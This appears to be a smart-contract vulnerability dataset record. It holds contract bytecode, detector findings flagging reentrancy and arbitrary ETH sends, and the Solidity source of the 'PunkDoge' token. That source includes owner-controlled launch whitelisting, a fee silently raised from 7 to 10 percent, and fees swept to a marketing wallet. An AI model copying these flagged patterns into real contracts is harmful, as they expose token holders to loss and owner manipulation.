610750565b34801561039157600080fd5b50610207610798565b3480156103a657600080fd5b506102c56103b5366004611c87565b6107c5565b3480156103c657600080fd5b506102076107e7565b3480156103db57600080fd5b506102076103ea366004611ccf565b61085b565b3480156103fb57600080fd5b506102c560155481565b34801561041157600080fd5b506102c5610420366004611c87565b60116020526000908152604090205481565b34801561043e57600080fd5b5061020761089d565b34801561045357600080fd5b506000546001600160a01b0316610296565b34801561047157600080fd5b50610207610480366004611cb4565b610a55565b34801561049157600080fd5b506102c560165481565b3480156104a757600080fd5b506102076104b6366004611ccf565b610ab4565b3480156104c757600080fd5b506102076104d6366004611ce8565b610ae3565b3480156104e757600080fd5b506102666104f6366004611c1a565b610b3d565b34801561050757600080fd5b50610266610516366004611c87565b60106020526000908152604090205460ff1681565b34801561053757600080fd5b50610207610b4a565b34801561054c57600080fd5b5061020761055b366004611d1a565b610b80565b34801561056c57600080fd5b506102c561057b366004611d9e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506102076105c1366004611ccf565b610c21565b3480156105d257600080fd5b506102076105e1366004611c87565b610c50565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611dd7565b60405180910390fd5b60005b81518110156106815760016010600084848151811061063d5761063d611e0c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611e38565b91505061061c565b5050565b6000610692338484610d3a565b5060015b92915050565b60006106a9848484610e5e565b6106fb84336106f685604051806060016040528060288152602001611f50602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061139a565b610d3a565b5060019392505050565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161061090611dd7565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260040161061090611dd7565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107b857600080fd5b476107c2816113d4565b50565b6001600160a01b0381166000908152600260205260408120546106969061140e565b6000546001600160a01b031633146108115760405162461bcd60e51b815260040161061090611dd7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b815260040161061090611dd7565b6611c37937e08000811161089857600080fd5b601555565b6000546001600160a01b031633146108c75760405162461bcd60e51b815260040161061090611dd7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561092c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109509190611e51565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c19190611e51565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611e51565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b815260040161061090611dd7565b601454600160a01b900460ff1615610a9657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ade5760405162461bcd60e51b815260040161061090611dd7565b601755565b6000546001600160a01b03163314610b0d5760405162461bcd60e51b815260040161061090611dd7565b60095482111580610b205750600b548111155b610b2957600080fd5b600893909355600a91909155600955600b55565b6000610692338484610e5e565b6012546001600160a01b0316336001600160a01b031614610b6a57600080fd5b6000610b75306107c5565b90506107c281611492565b6000546001600160a01b03163314610baa5760405162461bcd60e51b815260040161061090611dd7565b60005b82811015610c1b578160056000868685818110610bcc57610bcc611e0c565b9050602002016020810190610be19190611c87565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c1381611e38565b915050610bad565b50505050565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b815260040161061090611dd7565b601655565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b815260040161061090611dd7565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610dfd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610f865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610fb257506000546001600160a01b03838116911614155b1561129357601454600160a01b900460ff1661104b576000546001600160a01b0384811691161461104b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b60155481111561109d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526010602052604090205460ff161580156110df57506001600160a01b03821660009081526010602052604090205460ff16155b6111375760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b6014546001600160a01b038381169116146111bc5760165481611159846107c5565b6111639190611e6e565b106111bc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b60006111c7306107c5565b6017546015549192508210159082106111e05760155491505b8080156111f75750601454600160a81b900460ff16155b801561121157506014546001600160a01b03868116911614155b80156112265750601454600160b01b900460ff165b801561124b57506001600160a01b03851660009081526005602052604090205460ff16155b801561127057506001600160a01b03841660009081526005602052604090205460ff16155b156112905761127e82611492565b47801561128e5761128e476113d4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112d557506001600160a01b03831660009081526005602052604090205460ff165b8061130757506014546001600160a01b0385811691161480159061130757506014546001600160a01b03848116911614155b156113145750600061138e565b6014546001600160a01b03858116911614801561133f57506013546001600160a01b03848116911614155b1561135157600854600c55600954600d555b6014546001600160a01b03848116911614801561137c57506013546001600160a01b03858116911614155b1561138e57600a54600c55600b54600d555b610c1b8484848461160c565b600081848411156113be5760405162461bcd60e51b81526004016106109190611bc5565b5060006113cb8486611e86565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156114755760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b600061147f61163a565b905061148b838261165d565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114da576114da611e0c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611533573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115579190611e51565b8160018151811061156a5761156a611e0c565b6001600160a01b0392831660209182029290920101526013546115909130911684610d3a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c9908590600090869030904290600401611e9d565b600060405180830381600087803b1580156115e357600080fd5b505af11580156115f7573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806116195761161961169f565b6116248484846116cd565b80610c1b57610c1b600e54600c55600f54600d55565b60008060006116476117c4565b9092509050611656828261165d565b9250505090565b600061148b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611804565b600c541580156116af5750600d54155b156116b657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116df87611832565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611711908761188f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174090866118d1565b6001600160a01b03891660009081526002602052604090205561176281611930565b61176c848361197a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117b191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117df828261165d565b8210156117fb57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118255760405162461bcd60e51b81526004016106109190611bc5565b5060006113cb8486611f0e565b600080600080600080600080600061184f8a600c54600d5461199e565b925092509250600061185f61163a565b905060008060006118728e8787876119f3565b919e509c509a509598509396509194505050505091939550919395565b600061148b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061139a565b6000806118de8385611e6e565b90508381101561148b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b600061193a61163a565b905060006119488383611a43565b3060009081526002602052604090205490915061196590826118d1565b30600090815260026020526040902055505050565b600654611987908361188f565b60065560075461199790826118d1565b6007555050565b60008080806119b860646119b28989611a43565b9061165d565b905060006119cb60646119b28a89611a43565b905060006119e3826119dd8b8661188f565b9061188f565b9992985090965090945050505050565b6000808080611a028886611a43565b90506000611a108887611a43565b90506000611a1e8888611a43565b90506000611a30826119dd868661188f565b939b939a50919850919650505050505050565b600082600003611a5557506000610696565b6000611a618385611f30565b905082611a6e8583611f0e565b1461148b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b8035611afb81611adb565b919050565b60006020808385031215611b1357600080fd5b823567ffffffffffffffff80821115611b2b57600080fd5b818501915085601f830112611b3f57600080fd5b813581811115611b5157611b51611ac5565b8060051b604051601f19603f83011681018181108582111715611b7657611b76611ac5565b604052918252848201925083810185019188831115611b9457600080fd5b938501935b82851015611bb957611baa85611af0565b84529385019392850192611b99565b98975050505050505050565b600060208083528351808285015260005b81811015611bf257858101830151858201604001528201611bd6565b81811115611c04576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c2d57600080fd5b8235611c3881611adb565b946020939093013593505050565b600080600060608486031215611c5b57600080fd5b8335611c6681611adb565b92506020840135611c7681611adb565b929592945050506040919091013590565b600060208284031215611c9957600080fd5b813561148b81611adb565b80358015158114611afb57600080fd5b600060208284031215611cc657600080fd5b61148b82611ca4565b600060208284031215611ce157600080fd5b5035919050565b60008060008060808587031215611cfe57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2f57600080fd5b833567ffffffffffffffff80821115611d4757600080fd5b818601915086601f830112611d5b57600080fd5b813581811115611d6a57600080fd5b8760208260051b8501011115611d7f57600080fd5b602092830195509350611d959186019050611ca4565b90509250925092565b60008060408385031215611db157600080fd5b8235611dbc81611adb565b91506020830135611dcc81611adb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e4a57611e4a611e22565b5060010190565b600060208284031215611e6357600080fd5b815161148b81611adb565b60008219821115611e8157611e81611e22565b500190565b600082821015611e9857611e98611e22565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eed5784516001600160a01b031683529383019391830191600101611ec8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f2b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4a57611f4a611e22565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f209ffd48d1bdafc5a4e80825187cb59d595e286ccf334d4eae4c4f00babbb964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,032 |
0xEEEAA6FC4301f5e06213e31bAFF7d397E9aB4ec3
|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PunkDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Punk Doge\xF0\x9F\x92\xB8";
string private constant _symbol = "PUNKDOGE\xF0\x9F\x92\xB8";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10 ** 12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 7;
address private burnAddress = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
mapping(address => bool) private whitelisted;
uint256 private whitelistedWalletCap = _tTotal / 10000 * 25; // 0.25%
uint256 private launchBlock = 0;
uint256 private restrictedBlocks = 5; // aprox 1 minute
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) public {
_marketingFunds = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && tx.origin != owner()) {
require(block.number > launchBlock, "No bots"); // first block protection
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
if (launchBlock > 0 && block.number < launchBlock + restrictedBlocks && tx.origin != owner() ) {
require(whitelisted[to] && balanceOf(to) < whitelistedWalletCap);
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingFunds.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _marketingFunds);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingFunds);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setWhitelist(address[] memory users) public onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
whitelisted[users[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(10000);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c3c8cd8011610059578063c3c8cd8014610342578063c9567bf914610357578063dd62ed3e1461036c578063f4217648146103a7576100f3565b8063715018a6146102ae5780638da5cb5b146102c357806395d89b41146102f4578063a9059cbb14610309576100f3565b806323b872dd116100c657806323b872dd146101f6578063313ce567146102395780636fc3eaec1461026457806370a082311461027b576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610457565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b03813516906020013561048e565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46104ac565b60408051918252519081900360200190f35b34801561020257600080fd5b506101bb6004803603606081101561021957600080fd5b506001600160a01b038135811691602081013590911690604001356104b9565b34801561024557600080fd5b5061024e610540565b6040805160ff9092168252519081900360200190f35b34801561027057600080fd5b50610279610545565b005b34801561028757600080fd5b506101e46004803603602081101561029e57600080fd5b50356001600160a01b0316610579565b3480156102ba57600080fd5b5061027961059b565b3480156102cf57600080fd5b506102d861065c565b604080516001600160a01b039092168252519081900360200190f35b34801561030057600080fd5b5061010d61066b565b34801561031557600080fd5b506101bb6004803603604081101561032c57600080fd5b506001600160a01b0381351690602001356106a2565b34801561034e57600080fd5b506102796106b6565b34801561036357600080fd5b506102796106f3565b34801561037857600080fd5b506101e46004803603604081101561038f57600080fd5b506001600160a01b0381358116916020013516610b62565b3480156103b357600080fd5b50610279600480360360208110156103ca57600080fd5b8101906020810181356401000000008111156103e557600080fd5b8201836020820111156103f757600080fd5b8035906020019184602083028401116401000000008311171561041957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b8d945050505050565b60408051808201909152600d81527f50756e6b20446f6765f09f92b800000000000000000000000000000000000000602082015290565b60006104a261049b610c53565b8484610c57565b5060015b92915050565b683635c9adc5dea0000090565b60006104c6848484610d43565b610536846104d2610c53565b6105318560405180606001604052806028815260200161188a602891396001600160a01b038a16600090815260046020526040812090610510610c53565b6001600160a01b03168152602081019190915260400160002054919061101f565b610c57565b5060019392505050565b600990565b600b546001600160a01b0316610559610c53565b6001600160a01b03161461056c57600080fd5b47610576816110b6565b50565b6001600160a01b0381166000908152600260205260408120546104a6906110f0565b6105a3610c53565b6000546001600160a01b03908116911614610605576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b031690565b60408051808201909152600c81527f50554e4b444f4745f09f92b80000000000000000000000000000000000000000602082015290565b60006104a26106af610c53565b8484610d43565b600b546001600160a01b03166106ca610c53565b6001600160a01b0316146106dd57600080fd5b60006106e830610579565b905061057681611150565b6106fb610c53565b6000546001600160a01b0390811691161461075d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600d54600160a01b900460ff16156107bc576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600c805473ffffffffffffffffffffffffffffffffffffffff1916737a250d5630b4cf539739df2c5dacb4c659f2488d90811791829055906108129030906001600160a01b0316683635c9adc5dea00000610c57565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561084b57600080fd5b505afa15801561085f573d6000803e3d6000fd5b505050506040513d602081101561087557600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156108c557600080fd5b505afa1580156108d9573d6000803e3d6000fd5b505050506040513d60208110156108ef57600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b15801561095957600080fd5b505af115801561096d573d6000803e3d6000fd5b505050506040513d602081101561098357600080fd5b5051600d805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03928316179055600c541663f305d71947306109c281610579565b6000806109cd61065c565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b50505050506040513d6060811015610a6357600080fd5b5050600d80547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909116600160b01b1716600160a01b1790819055600c54604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610b2f57600080fd5b505af1158015610b43573d6000803e3d6000fd5b505050506040513d6020811015610b5957600080fd5b50504360105550565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610b95610c53565b6000546001600160a01b03908116911614610bf7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610c4f576001600e6000848481518110610c1557fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610bfa565b5050565b3390565b6001600160a01b038316610c9c5760405162461bcd60e51b81526004018080602001828103825260248152602001806119006024913960400191505060405180910390fd5b6001600160a01b038216610ce15760405162461bcd60e51b81526004018080602001828103825260228152602001806118476022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d885760405162461bcd60e51b81526004018080602001828103825260258152602001806118db6025913960400191505060405180910390fd5b6001600160a01b038216610dcd5760405162461bcd60e51b81526004018080602001828103825260238152602001806117fa6023913960400191505060405180910390fd5b60008111610e0c5760405162461bcd60e51b81526004018080602001828103825260298152602001806118b26029913960400191505060405180910390fd5b610e1461065c565b6001600160a01b0316836001600160a01b031614158015610e4e5750610e3861065c565b6001600160a01b0316826001600160a01b031614155b8015610e735750610e5d61065c565b6001600160a01b0316326001600160a01b031614155b15610f47576010544311610ece576040805162461bcd60e51b815260206004820152600760248201527f4e6f20626f747300000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000610ed930610579565b600d54909150600160a81b900460ff16158015610f045750600d546001600160a01b03858116911614155b8015610f195750600d5460016